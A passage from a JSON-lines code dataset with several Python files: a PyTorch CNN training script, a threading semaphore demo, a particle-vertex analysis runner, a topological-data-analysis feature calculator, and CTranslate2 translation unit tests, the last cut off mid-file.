F.nll_loss(scores, b_y) # negative log likelyhood\n optimizer.zero_grad() # clear gradients for this training step\n loss.backward() # backpropagation, compute gradients\n optimizer.step() # apply gradients\n model.zero_grad()\n\n # computing training accuracy\n pred = scores.data.max(1, keepdim=True)[1]\n correct += pred.eq(b_y.data.view_as(pred)).long().cpu().sum()\n train_loss += F.nll_loss(scores, b_y, reduction='sum').item()\n\n acc_train[epoch] = 100 * \\\n float(correct) / float(len(train_loader.dataset))\n loss_train[epoch] = train_loss / len(train_loader.dataset)\n\n # testing\n model.eval()\n correct = 0\n test_loss = 0\n for step, (x, y) in enumerate(test_loader):\n x, y = x.to(DEVICE), y.to(DEVICE)\n b_x = Variable(x)\n b_y = Variable(y)\n scores = model(b_x)\n test_loss += F.nll_loss(scores, b_y, reduction='sum').item()\n pred = scores.data.max(1, keepdim=True)[1]\n correct += pred.eq(b_y.data.view_as(pred)).long().cpu().sum()\n\n loss_test[epoch] = test_loss / len(test_loader.dataset)\n acc_test[epoch] = 100 * float(correct) / \\\n float(len(test_loader.dataset))\n time_test[epoch] = time.perf_counter() - t0\n\n return [acc_train, acc_test, loss_train, loss_test, model]\n\n\ndef cnn_train_eval(level, model, path_config, eval_on=\"test\", cnn_config={\n \"lr\": 0.001, \"weight_decay\": 0, \"epoch\": 25, \"batch_size\": 32, \"device\": \"cpu\"}, is_plot=True, save_model=False):\n (train_images, train_labels), (val_images, val_labels), (test_images,\n test_labels) = load_data_from_dump(level, path_config[\"input_path\"])\n\n train_loader = create_pytorch_datasets(\n train_images, train_labels, cnn_config)\n\n if eval_on == \"test\":\n eval_loader = create_pytorch_datasets(\n test_images, test_labels, cnn_config)\n elif eval_on == \"val\":\n eval_loader = create_pytorch_datasets(\n val_images, val_labels, cnn_config)\n\n optimizer = torch.optim.Adam(model.parameters(\n ), lr=cnn_config[\"lr\"], weight_decay=cnn_config[\"weight_decay\"])\n logs = cnn_train_model(model, train_loader,\n eval_loader, optimizer, cnn_config)\n\n LOGGER.info(\"\\nTrain Accuracy:\" + str(logs[0][-1]))\n LOGGER.info(\"Train Loss:\" + str(logs[2][-1]))\n LOGGER.info(\"Test Accuracy:\" + str(logs[1][-1]))\n LOGGER.info(\"Test Loss:\" + str(logs[3][-1]) + \"\\n\")\n\n if save_model:\n if not os.path.exists(path_config[\"models_path\"]):\n os.makedirs(path_config[\"models_path\"])\n torch.save(logs[-1].state_dict(), os.path.join(\n path_config[\"models_path\"], \"best_\" + level + \"_cnn_model\"))\n\n if is_plot:\n if not os.path.exists(os.path.join(path_config[\"plots_path\"], level)):\n os.makedirs(os.path.join(path_config[\"plots_path\"], level))\n plot_train_eval_curves(\n *(logs[:-1] + [os.path.join(path_config[\"plots_path\"], level, \"train_\" + eval_on + \"_loss_acc.jpg\")]))\n\n output = logs[:-1] + [{**cnn_config, **{\"trained_model\": logs[-1]}}]\n\n return output\n\n\ndef plot_archs(path_config):\n # Print the CNN architecture\n models = [ConvNet(3), ConvNet(5), ConvNet(10)]\n\n for model, level in zip(models, [\"phylum\", \"class\", \"order\"]):\n x = torch.zeros(1, 4, 21, 21, dtype=torch.float, requires_grad=True)\n out = model(x)\n dot = make_dot(out, params=dict(\n list(model.named_parameters()) + [('Input Image', x)]))\n\n dot.format = 'png'\n dot.render(os.path.join(\n path_config[\"models_path\"], level+\"_model_cnn_arch\"))\n\n\ndef train_best_cnn_models(cnn_config, path_config,\n is_demo=False, save_model=True, is_plot=True):\n LOGGER.info(\n \"Visualizations of the CNN architectures have been saved to: path_config['models_path']\\n\")\n plot_archs(path_config)\n\n LOGGER.info(\n \"Training with the best possible params and evaluating on validation and test datasets ...\\n\")\n\n LOGGER.info(\"NOTE: The best possible parameters were found using the grid_search.py script file.\" +\n \" This tests 300 different settings and ran on a 40 core machine for 2 hours.\" +\n \" To see the grid search 3D plots over weight_decay and learning_rate,\" +\n \" go to path_config['grid_search_results'].\\n\")\n\n LOGGER.info(\n \"NOTE: Run grid_search.py if you want to run the grid search from scratch.\\n\")\n plot_grid_search(path_config)\n\n if is_demo:\n LOGGER.info(\n \"WARNING: Runnning in DEMO mode. (Only 2 epochs will be run and the trained model will not be saved)\\n\")\n for level in [\"phylum\", \"class\", \"order\"]:\n cnn_config[level][\"epoch\"] = 2\n save_model = False\n is_plot = False\n\n LOGGER.info(\"Phylum-level CNN Classifier Training ...\")\n cnn_train_eval(\"phylum\", ConvNet(3), path_config, eval_on=\"val\",\n cnn_config=cnn_config[\"phylum\"], is_plot=is_plot, save_model=False)\n cnn_train_eval(\"phylum\", ConvNet(3), path_config, eval_on=\"test\",\n cnn_config=cnn_config[\"phylum\"], is_plot=is_plot, save_model=save_model)\n\n LOGGER.info(\"Class-level CNN Classifier Training ...\")\n cnn_train_eval(\"class\", ConvNet(5), path_config, eval_on=\"val\",\n cnn_config=cnn_config[\"class\"], is_plot=is_plot, save_model=False)\n cnn_train_eval(\"class\", ConvNet(5), path_config, eval_on=\"test\",\n cnn_config=cnn_config[\"class\"], is_plot=is_plot, save_model=save_model)\n\n LOGGER.info(\"Order-level CNN Classifier Training ...\")\n cnn_train_eval(\"order\", ConvNet(10), path_config, eval_on=\"val\",\n cnn_config=cnn_config[\"order\"], is_plot=is_plot, save_model=False)\n cnn_train_eval(\"order\", ConvNet(10), path_config, eval_on=\"test\",\n cnn_config=cnn_config[\"order\"], is_plot=is_plot, save_model=save_model)\n\n\nif __name__ == '__main__':\n path_config = {\"input_path\": \"./data/cnn/\", \"plots_path\": \"./results/cnn/plots/\",\n \"models_path\": \"./results/cnn/models/\", \"grid_search_path\": \"./results/cnn/grid_search/\"}\n\n DEVICE = 'cuda' if torch.cuda.is_available() else 'cpu'\n cnn_config = {\n \"phylum\": {\"lr\": 0.01, \"weight_decay\": 1e-05, \"epoch\": 25, \"batch_size\": 32, \"device\": DEVICE},\n \"class\": {\"lr\": 0.01, \"weight_decay\": 0.0001, \"epoch\": 25, \"batch_size\": 32, \"device\": DEVICE},\n \"order\": {\"lr\": 0.01, \"weight_decay\": 0.0001, \"epoch\": 25, \"batch_size\": 32, \"device\": DEVICE}\n }\n\n train_best_cnn_models(cnn_config, path_config, is_demo=True)\n","repo_name":"srivathsapv/cgda_project","sub_path":"ml/model/cnn/train_eval.py","file_name":"train_eval.py","file_ext":"py","file_size_in_byte":8283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"28674766950","text":"import threading\nimport time\n\nsemaphore=threading.BoundedSemaphore()\ndef access(thread_num):\n print(f'{thread_num} is trying to access the resource')\n time.sleep(0.8)\n semaphore.acquire()\n print(f'{thread_num} gained access to the resource')\n time.sleep(0.8)\n print(f'{thread_num} has released the resource')\n time.sleep(0.8)\n semaphore.release()\n\nfor thread_num in range(1,11):\n thread=threading.Thread(target=access, args=(thread_num,))\n thread.start()\n time.sleep(2)","repo_name":"maryannemm/intermediate_pythone_codes","sub_path":"sephamore thread synchronization.py","file_name":"sephamore thread synchronization.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37357565017","text":"from src_BuildSystem.ReadFiles import ReadFiles\nfrom src_BuildSystem.Setup import Setup\nfrom src_Analysis.BuildEvents import BuildEvents\nfrom src_VisualisationTools.plot import plot\nfrom src_Analysis.VertexReconstructor import VertexReconstructor\n\nimport sys, os\nimport pandas as pd\nimport numpy as np\n\n\nclass RunAnalysis():\n\n def __init__(self, param, path, folder):\n self.param = param\n self.path = path\n self.folder = folder\n\n\n def RunMultiFileAnalysis(self):\n \"\"\" Functionality:\n Running itteratively the multiple files located in path + folder = data directory,\n using RunSingleFieldAnalysis\n \n Returns:\n A dataframe containing z_pos and z_weight from all analysed runfiles\n z_pos: The position of all the extrapolated annihilation vertecies on the central z-axis\n z_weight: The weight, or count number, of the z_pos vertecies\n \"\"\"\n\n # Empty df for filling with z_pos, z_weight information\n verticies = pd.DataFrame(columns = ['z_pos', 'z_weight'])\n\n # Itterate through all files in directory'\n FileCount = 0\n for filename in os.listdir(self.path + self.folder):\n print(filename)\n vert = self.RunSingleFileAnalysis(filename)\n if vert is not None:\n verticies = verticies.append(vert)\n FileCount += 1\n print(FileCount)\n\n return verticies.reset_index(drop = True)\n \n def RunSingleFileAnalysis(self, Filename):\n \"\"\" \n Input: \n Filename: Name of the file in path + folder\n output:\n The z_pos, z_weight combinations from the singular files\n \"\"\"\n # Read single file\n RF = ReadFiles(self.path, self.folder, Filename)\n data = RF.GetCSV()\n\n # Build data setup for file\n build = Setup(data, self.param)\n MainData, time, count = build.InitiateStandardBuild(Filename) \n if MainData is None:\n return None\n\n # Find Clusters in superlayer 1 + 2 \n events = BuildEvents(MainData, self.param, build, time, count)\n CL1, CL2 = events.Initiate_Standard_Analysis()\n\n # Perform a track reconstruction between clusters\n construct = VertexReconstructor(CL1, CL2, self.param)\n vertecies_onefile = construct.TrackPath()\n\n # Plot Live action activation\n #P = plot(MainData, self.param, build)\n #P.plot_FACT_live()\n \n return vertecies_onefile","repo_name":"OlineRanum/FACTAS","sub_path":"src/src_Analysis/RunAnalysis.py","file_name":"RunAnalysis.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4001987347","text":"import gtda.homology as hl\nimport pandas as pd\n\nfrom ..calcers.base_calcer import BaseCalcer\nfrom ..tda_feature_engineering import (\n num_relevant_holes,\n average_lifetime,\n calculate_amplitude_feature,\n length_betti,\n sum_length,\n average_length,\n onset_longest_betti,\n polynomial_feature_1,\n polynomial_feature_2,\n polynomial_feature_3,\n polynomial_feature_4,\n)\n\n\nclass TDACalcer(BaseCalcer):\n \"\"\"Class to compute TDA (topological data analysis) features.\n\n Args:\n num_relevant_holes_theta: value between 0 and 1 to be used to\n calculate the threshold in num_relevant_holes feature\n Returns:\n Computed TDA features\n \"\"\"\n\n name = 'tda_features'\n keys = ['dataset_name']\n\n def __init__(self, num_relevant_holes_theta: float) -> None:\n \"\"\"Init TDACalcer.\"\"\"\n self.num_relevant_holes_theta = num_relevant_holes_theta\n\n super().__init__()\n\n def compute(self, input_data: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Start computing features.\n\n Args:\n input_data: dataframe to compute features\n\n Returns:\n pd.DataFrame: computed statistical features\n \"\"\"\n features = {}\n homology_dimensions = [0, 1, 2]\n persistence = hl.VietorisRipsPersistence(\n metric='euclidean',\n homology_dimensions=homology_dimensions,\n )\n persistence_diagram = persistence.fit_transform(\n input_data.drop('target', axis=1).values[None, :, :],\n )\n\n for homology_dim in homology_dimensions:\n features[\n f'avg_lifetime_hom_dim_{homology_dim}',\n ] = average_lifetime(\n persistence_diagram,\n homology_dim,\n )[0]\n features[\n f'num_relevant_holes_hom_dim_{homology_dim}'\n ] = num_relevant_holes(\n persistence_diagram,\n homology_dim,\n theta=self.num_relevant_holes_theta,\n )[0]\n features[\n f'length_Betti_hom_dim_{homology_dim}'\n ] = length_betti(\n persistence_diagram[0],\n homology_dim=homology_dim,\n )\n features[\n f'sum_length_hom_dim_{homology_dim}'\n ] = sum_length(\n persistence_diagram[0],\n )\n features[\n f'average_length_hom_dim_{homology_dim}'\n ] = average_length(\n persistence_diagram[0],\n homology_dim=homology_dim,\n )\n features[\n f'onset_longest_Betti_hom_dim_{homology_dim}'\n ] = onset_longest_betti(\n persistence_diagram[0],\n homology_dim=homology_dim,\n )\n features[\n f'polynomial_feature_1_hom_dim_{homology_dim}'\n ] = polynomial_feature_1(\n persistence_diagram[0],\n homology_dim=homology_dim,\n )\n features[\n f'polynomial_feature_2_hom_dim_{homology_dim}'\n ] = polynomial_feature_2(\n persistence_diagram[0],\n homology_dim=homology_dim,\n )\n features[\n f'polynomial_feature_3_hom_dim_{homology_dim}'\n ] = polynomial_feature_3(\n persistence_diagram[0],\n homology_dim=homology_dim,\n )\n features[\n f'polynomial_feature_4_hom_dim_{homology_dim}'\n ] = polynomial_feature_4(\n persistence_diagram[0],\n homology_dim=homology_dim,\n )\n\n features['amplitude_feature'] = calculate_amplitude_feature(\n persistence_diagram,\n )[0][0]\n return pd.DataFrame([features])\n","repo_name":"pacifikus/tda_clustering","sub_path":"src/features/calcers/tda_features.py","file_name":"tda_features.py","file_ext":"py","file_size_in_byte":3858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14313634288","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport pytest\nimport numpy as np\n\nimport sys\nsys.path.append(\"/home/scotfang/gits/CTranslate2/python/build/lib.linux-x86_64-3.7\")\nimport ctranslate2\n\nfrom ctranslate2.specs.model_spec import OPTIONAL, index_spec\nfrom ctranslate2.specs import transformer_spec\nfrom ctranslate2.converters import opennmt_tf\n\n\n_TEST_DATA_DIR = os.path.join(\n os.path.dirname(os.path.realpath(__file__)),\n \"..\", \"..\", \"tests\", \"data\")\n\n\ndef _get_model_path():\n return os.path.join(_TEST_DATA_DIR, \"models\", \"v2\", \"aren-transliteration\")\n\ndef _get_transliterator():\n return ctranslate2.Translator(_get_model_path())\n\n\ndef test_invalid_model_path():\n with pytest.raises(RuntimeError):\n ctranslate2.Translator(\"xxx\")\n\ndef test_contains_model(tmpdir):\n assert ctranslate2.contains_model(_get_model_path())\n\n model_dir = tmpdir.join(\"model\")\n model_dir.ensure(dir=1)\n assert not ctranslate2.contains_model(str(model_dir))\n model_dir.join(\"model.bin\").ensure(file=1)\n assert ctranslate2.contains_model(str(model_dir))\n\ndef test_translator_properties():\n translator = ctranslate2.Translator(_get_model_path(), inter_threads=2)\n assert translator.model_is_loaded\n assert translator.device == \"cpu\"\n assert translator.device_index == 0\n assert translator.num_translators == 2\n assert translator.num_queued_batches == 0\n\ndef test_compute_type():\n model_path = _get_model_path()\n with pytest.raises(ValueError):\n ctranslate2.Translator(model_path, compute_type=\"float64\")\n with pytest.raises(TypeError):\n ctranslate2.Translator(model_path, compute_type=[\"int8\", \"int16\"])\n ctranslate2.Translator(model_path, compute_type=\"int8\")\n ctranslate2.Translator(model_path, compute_type={\"cuda\": \"float16\", \"cpu\": \"int8\"})\n\n@pytest.mark.parametrize(\"max_batch_size\", [0, 1])\ndef test_batch_translation(max_batch_size):\n translator = _get_transliterator()\n output = translator.translate_batch([\n [\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"],\n [\"آ\" ,\"ت\" ,\"ش\" ,\"ي\" ,\"س\" ,\"و\" ,\"ن\"]],\n max_batch_size=max_batch_size)\n assert len(output) == 2\n assert len(output[0]) == 1 # One hypothesis.\n assert len(output[1]) == 1\n assert output[0][0][\"tokens\"] == [\"a\", \"t\", \"z\", \"m\", \"o\", \"n\"]\n assert output[0][0][\"score\"] < 0\n assert \"attention\" not in output[0][0]\n assert output[1][0][\"tokens\"] == [\"a\", \"c\", \"h\", \"i\", \"s\", \"o\", \"n\"]\n\ndef test_file_translation(tmpdir):\n input_path = str(tmpdir.join(\"input.txt\"))\n output_path = str(tmpdir.join(\"output.txt\"))\n with open(input_path, \"w\") as input_file:\n input_file.write(\"آ ت ز م و ن\")\n input_file.write(\"\\n\")\n input_file.write(\"آ ت ش ي س و ن\")\n input_file.write(\"\\n\")\n translator = _get_transliterator()\n stats = translator.translate_file(input_path, output_path, max_batch_size=32)\n with open(output_path) as output_file:\n lines = output_file.readlines()\n assert lines[0].strip() == \"a t z m o n\"\n assert lines[1].strip() == \"a c h i s o n\"\n assert stats[0] == 13 # Number of generated target tokens.\n assert stats[1] == 2 # Number of translated examples.\n assert isinstance(stats[2], float) # Total time in milliseconds.\n\ndef test_raw_file_translation(tmpdir):\n input_path = str(tmpdir.join(\"input.txt\"))\n output_path = str(tmpdir.join(\"output.txt\"))\n with open(input_path, \"w\") as input_file:\n input_file.write(\"آتزمون\")\n input_file.write(\"\\n\")\n input_file.write(\"آتشيسون\")\n input_file.write(\"\\n\")\n\n translator = ctranslate2.Translator(_get_model_path())\n tokenize_fn = lambda text: list(text)\n detokenize_fn = lambda tokens: \"\".join(tokens)\n max_batch_size = 4\n\n with pytest.raises(ValueError):\n translator.translate_file(\n input_path, output_path, max_batch_size, tokenize_fn=tokenize_fn)\n with pytest.raises(ValueError):\n translator.translate_file(\n input_path, output_path, max_batch_size, detokenize_fn=detokenize_fn)\n\n translator.translate_file(\n input_path,\n output_path,\n max_batch_size,\n tokenize_fn=tokenize_fn,\n detokenize_fn=detokenize_fn)\n\n with open(output_path) as output_file:\n lines = output_file.readlines()\n assert lines[0].strip() == \"atzmon\"\n assert lines[1].strip() == \"achison\"\n\ndef test_file_translation_with_prefix(tmpdir):\n source_path = str(tmpdir.join(\"input.txt\"))\n target_path = str(tmpdir.join(\"target.txt\"))\n output_path = str(tmpdir.join(\"output.txt\"))\n with open(source_path, \"w\") as source_file:\n source_file.write(\"آ ت ز م و ن\")\n source_file.write(\"\\n\")\n source_file.write(\"آ ت ش ي س و ن\")\n source_file.write(\"\\n\")\n with open(target_path, \"w\") as target_file:\n target_file.write(\"a t s\\n\")\n\n translator = _get_transliterator()\n max_batch_size = 4\n\n with pytest.raises(RuntimeError):\n # One line is missing from target_path.\n translator.translate_file(\n source_path,\n output_path,\n max_batch_size,\n target_path=target_path)\n\n with open(target_path, \"a\") as target_file:\n target_file.write(\"\\n\") # No prefix.\n\n translator.translate_file(\n source_path,\n output_path,\n max_batch_size,\n target_path=target_path)\n\n with open(output_path) as output_file:\n lines = output_file.readlines()\n assert lines[0].strip() == \"a t s u m o n\"\n assert lines[1].strip() == \"a c h i s o n\"\n\ndef test_raw_file_translation_with_prefix(tmpdir):\n source_path = str(tmpdir.join(\"input.txt\"))\n target_path = str(tmpdir.join(\"target.txt\"))\n output_path = str(tmpdir.join(\"output.txt\"))\n with open(source_path, \"w\") as source_file:\n source_file.write(\"آتزمون\")\n source_file.write(\"\\n\")\n source_file.write(\"آتشيسون\")\n source_file.write(\"\\n\")\n with open(target_path, \"w\") as target_file:\n # Write target in reverse to use a different tokenization.\n target_file.write(\"sta\\n\")\n target_file.write(\"\\n\")\n\n translator = ctranslate2.Translator(_get_model_path())\n source_tokenize_fn = lambda text: list(text)\n target_tokenize_fn = lambda text: list(reversed(list(text)))\n detokenize_fn = lambda tokens: \"\".join(tokens)\n max_batch_size = 4\n\n with pytest.raises(ValueError):\n # Target tokenization is missing.\n translator.translate_file(\n source_path,\n output_path,\n max_batch_size,\n tokenize_fn=source_tokenize_fn,\n detokenize_fn=detokenize_fn,\n target_path=target_path)\n\n translator.translate_file(\n source_path,\n output_path,\n max_batch_size,\n tokenize_fn=source_tokenize_fn,\n detokenize_fn=detokenize_fn,\n target_path=target_path,\n target_tokenize_fn=target_tokenize_fn)\n\n with open(output_path) as output_file:\n lines = output_file.readlines()\n assert lines[0].strip() == \"atsumon\"\n assert lines[1].strip() == \"achison\"\n\ndef test_empty_translation():\n translator = _get_transliterator()\n assert translator.translate_batch([]) == []\n\ndef test_invalid_translation_options():\n translator = _get_transliterator()\n with pytest.raises(ValueError):\n translator.translate_batch(\n [[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]],\n min_decoding_length=10,\n max_decoding_length=5)\n\ndef test_hard_target_prefix():\n translator = _get_transliterator()\n output = translator.translate_batch(\n [[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"], [\"آ\" ,\"ت\" ,\"ش\" ,\"ي\" ,\"س\" ,\"و\" ,\"ن\"]],\n target_prefix=[[\"a\", \"t\", \"s\"], None])\n assert output[0][0][\"tokens\"][:3] == [\"a\", \"t\", \"s\"]\n assert output[1][0][\"tokens\"] == [\"a\", \"c\", \"h\", \"i\", \"s\", \"o\", \"n\"]\n\ndef test_strongly_biased_target_prefix():\n translator = _get_transliterator()\n output = translator.translate_batch(\n [[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"], [\"آ\" ,\"ت\" ,\"ش\" ,\"ي\" ,\"س\" ,\"و\" ,\"ن\"]],\n target_prefix=[[\"a\", \"t\", \"s\"], None],\n prefix_bias_beta=0.9999999)\n assert output[0][0][\"tokens\"][:3] == [\"a\", \"t\", \"s\"]\n assert output[1][0][\"tokens\"] == [\"a\", \"c\", \"h\", \"i\", \"s\", \"o\", \"n\"]\n\ndef test_weakly_biased_target_prefix():\n translator = _get_transliterator()\n unconstrained_output = translator.translate_batch(\n [[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"], [\"آ\" ,\"ت\" ,\"ش\" ,\"ي\" ,\"س\" ,\"و\" ,\"ن\"]])\n weakly_biased_output = translator.translate_batch(\n [[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"], [\"آ\" ,\"ت\" ,\"ش\" ,\"ي\" ,\"س\" ,\"و\" ,\"ن\"]],\n target_prefix=[[\"a\", \"t\", \"s\"], [\"s\", \"i\", \"o\"]],\n prefix_bias_beta=0.0000001)\n assert unconstrained_output[0][0][\"tokens\"] == weakly_biased_output[0][0][\"tokens\"]\n assert abs(unconstrained_output[0][0][\"score\"] - weakly_biased_output[0][0][\"score\"]) < 0.00001\n\n assert unconstrained_output[1][0][\"tokens\"] == weakly_biased_output[1][0][\"tokens\"]\n assert abs(unconstrained_output[1][0][\"score\"] - weakly_biased_output[1][0][\"score\"]) < 0.00001\n\ndef test_didi_cuda_nihao_no_prefix():\n translator = ctranslate2.Translator(\n \"/home/yiqihuang/projects/didi-translate/data/ctranslate2_models/zhen-v4/ctranslate2\",\n device='cuda')\n \n output = translator.translate_batch(\n [[\"你好\"]], beam_size=4, length_penalty=0, target_prefix=[None], prefix_bias_beta=0.99)\n assert output[0][0]['tokens'] == ['Hello']\n\ndef test_didi_cuda_nihao_strongly_biased_prefix():\n translator = ctranslate2.Translator(\n \"/home/yiqihuang/projects/didi-translate/data/ctranslate2_models/zhen-v4/ctranslate2\",\n device='cuda')\n \n output = translator.translate_batch(\n [[\"你好\"]], beam_size=4, length_penalty=0, target_prefix=[[\"Bye\"]], prefix_bias_beta=0.99)\n assert output[0][0]['tokens'] == ['Bye']\n\ndef test_didi_cuda_nihao_weakly_biased_prefix():\n translator = ctranslate2.Translator(\n \"/home/yiqihuang/projects/didi-translate/data/ctranslate2_models/zhen-v4/ctranslate2\",\n device='cuda')\n \n output = translator.translate_batch(\n [[\"你好\"]], beam_size=4, length_penalty=0, target_prefix=[[\"Bye\"]], prefix_bias_beta=0.01)\n assert output[0][0]['tokens'] == ['Hello']\n\ndef test_didi_weakly_biased_decoding_los_angeles():\n translator = ctranslate2.Translator(\n \"/home/yiqihuang/projects/didi-translate/data/ctranslate2_models/zhen-v4/ctranslate2\",\n device='cuda')\n \n output = translator.translate_batch(\n [[\"洛杉矶\"]], beam_size=2, length_penalty=0, target_prefix=[[\"San\", \"Francisco\"]], prefix_bias_beta=0.01)\n assert output[0][0]['tokens'] == ['Los', 'Angeles']\n\ndef test_didi_strongly_biased_decoding_los_angeles():\n translator = ctranslate2.Translator(\n \"/home/yiqihuang/projects/didi-translate/data/ctranslate2_models/zhen-v4/ctranslate2\",\n device='cuda')\n \n output = translator.translate_batch(\n [[\"洛杉矶\"]], beam_size=2, length_penalty=0, target_prefix=[[\"San\", \"Francisco\"]], prefix_bias_beta=0.99)\n assert output[0][0]['tokens'] == ['San', 'Francisco']\n\ndef test_num_hypotheses():\n translator = _get_transliterator()\n output = translator.translate_batch(\n [[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]], beam_size=4, num_hypotheses=2)\n assert len(output[0]) == 2\n\ndef test_max_decoding_length():\n translator = _get_transliterator()\n output = translator.translate_batch([[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]], max_decoding_length=2)\n assert output[0][0][\"tokens\"] == [\"a\", \"t\"]\n\ndef test_min_decoding_length():\n translator = _get_transliterator()\n output = translator.translate_batch([[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]], min_decoding_length=7)\n assert len(output[0][0][\"tokens\"]) > 6 # 6 is the expected target length.\n\ndef test_return_attention():\n translator = _get_transliterator()\n output = translator.translate_batch([[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]], return_attention=True)\n attention = output[0][0][\"attention\"]\n assert len(attention) == 6 # Target length.\n assert len(attention[0]) == 6 # Source length.\n\ndef test_ignore_scores():\n translator = _get_transliterator()\n output = translator.translate_batch(\n [[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]],\n beam_size=1,\n return_scores=False)\n assert \"scores\" not in output[0][0]\n\ndef test_return_alternatives():\n translator = _get_transliterator()\n output = translator.translate_batch(\n [[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]],\n target_prefix=[[\"a\", \"t\"]],\n num_hypotheses=10,\n return_alternatives=True)\n assert len(output[0]) == 10\n assert output[0][0][\"tokens\"] == [\"a\", \"t\", \"z\", \"m\", \"o\", \"n\"]\n assert output[0][1][\"tokens\"] == [\"a\", \"t\", \"s\", \"u\", \"m\", \"o\", \"n\"]\n\n@pytest.mark.parametrize(\"to_cpu\", [False, True])\ndef test_model_unload(to_cpu):\n batch = [[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]]\n translator = _get_transliterator()\n translator.unload_model(to_cpu=to_cpu)\n with pytest.raises(RuntimeError, match=\"unloaded\"):\n translator.translate_batch(batch)\n translator.load_model()\n output = translator.translate_batch(batch)\n assert len(output) == 1\n assert output[0][0][\"tokens\"] == [\"a\", \"t\", \"z\", \"m\", \"o\", \"n\"]\n\n\n_FRAMEWORK_DATA_EXIST = os.path.isdir(\n os.path.join(_TEST_DATA_DIR, \"models\", \"transliteration-aren-all\"))\n\n@pytest.mark.skipif(not _FRAMEWORK_DATA_EXIST, reason=\"Data files are not available\")\n@pytest.mark.parametrize(\n \"model_path,src_vocab,tgt_vocab,model_spec\",\n [(\"v2/savedmodel\", None, None, \"TransformerBase\"),\n (\"v2/savedmodel\", None, None, ctranslate2.specs.TransformerSpec(num_layers=6, num_heads=8)),\n (\"v1/checkpoint\", \"ar.vocab\", \"en.vocab\", ctranslate2.specs.TransformerBase()),\n (\"v2/checkpoint\", \"ar.vocab\", \"en.vocab\", ctranslate2.specs.TransformerBase()),\n ])\ndef test_opennmt_tf_model_conversion(tmpdir, model_path, src_vocab, tgt_vocab, model_spec):\n model_path = os.path.join(\n _TEST_DATA_DIR, \"models\", \"transliteration-aren-all\", \"opennmt_tf\", model_path)\n if src_vocab is not None:\n src_vocab = os.path.join(model_path, src_vocab)\n if tgt_vocab is not None:\n tgt_vocab = os.path.join(model_path, tgt_vocab)\n converter = ctranslate2.converters.OpenNMTTFConverter(\n model_path, src_vocab=src_vocab, tgt_vocab=tgt_vocab)\n output_dir = str(tmpdir.join(\"ctranslate2_model\"))\n converter.convert(output_dir, model_spec)\n translator = ctranslate2.Translator(output_dir)\n output = translator.translate_batch([[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]])\n assert output[0][0][\"tokens\"] == [\"a\", \"t\", \"z\", \"m\", \"o\", \"n\"]\n\n@pytest.mark.skipif(not _FRAMEWORK_DATA_EXIST, reason=\"Data files are not available\")\n@pytest.mark.parametrize(\"quantization\", [\"float16\", \"int16\", \"int8\"])\ndef test_opennmt_tf_model_quantization(tmpdir, quantization):\n model_path = os.path.join(\n _TEST_DATA_DIR, \"models\", \"transliteration-aren-all\", \"opennmt_tf\", \"v2\", \"checkpoint\")\n converter = ctranslate2.converters.OpenNMTTFConverter(\n model_path,\n src_vocab=os.path.join(model_path, \"ar.vocab\"),\n tgt_vocab=os.path.join(model_path, \"en.vocab\"))\n output_dir = str(tmpdir.join(\"ctranslate2_model\"))\n converter.convert(output_dir, ctranslate2.specs.TransformerBase(), quantization=quantization)\n translator = ctranslate2.Translator(output_dir)\n output = translator.translate_batch([[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]])\n assert output[0][0][\"tokens\"] == [\"a\", \"t\", \"z\", \"m\", \"o\", \"n\"]\n\n@pytest.mark.skipif(not _FRAMEWORK_DATA_EXIST, reason=\"Data files are not available\")\ndef test_opennmt_tf_variables_conversion(tmpdir):\n model_path = os.path.join(\n _TEST_DATA_DIR, \"models\", \"transliteration-aren-all\", \"opennmt_tf\", \"v2\", \"checkpoint\")\n _, variables, src_vocab, tgt_vocab = opennmt_tf.load_model(\n model_path,\n src_vocab=os.path.join(model_path, \"ar.vocab\"),\n tgt_vocab=os.path.join(model_path, \"en.vocab\"))\n converter = ctranslate2.converters.OpenNMTTFConverter(\n src_vocab=src_vocab, tgt_vocab=tgt_vocab, variables=variables)\n output_dir = str(tmpdir.join(\"ctranslate2_model\"))\n converter.convert(output_dir, ctranslate2.specs.TransformerBase())\n translator = ctranslate2.Translator(output_dir)\n output = translator.translate_batch([[\"آ\" ,\"ت\" ,\"ز\" ,\"م\" ,\"و\" ,\"ن\"]])\n assert output[0][0][\"tokens\"] == [\"a\", \"t\", \"z\", \"m\", \"o\", \"n\"]\n\n@pytest.mark.skipif(not _FRAMEWORK_DATA_EXIST, reason=\"Data files are not available\")\ndef test_opennmt_tf_model_conversion_invalid_vocab(tmpdir):\n model_path = os.path.join(\n _TEST_DATA_DIR, \"models\", \"transliteration-aren-all\", \"opennmt_tf\", \"v2\", \"checkpoint\")\n # Swap source and target vocabularies.\n converter = ctranslate2.converters.OpenNMTTFConverter(\n model_path,\n 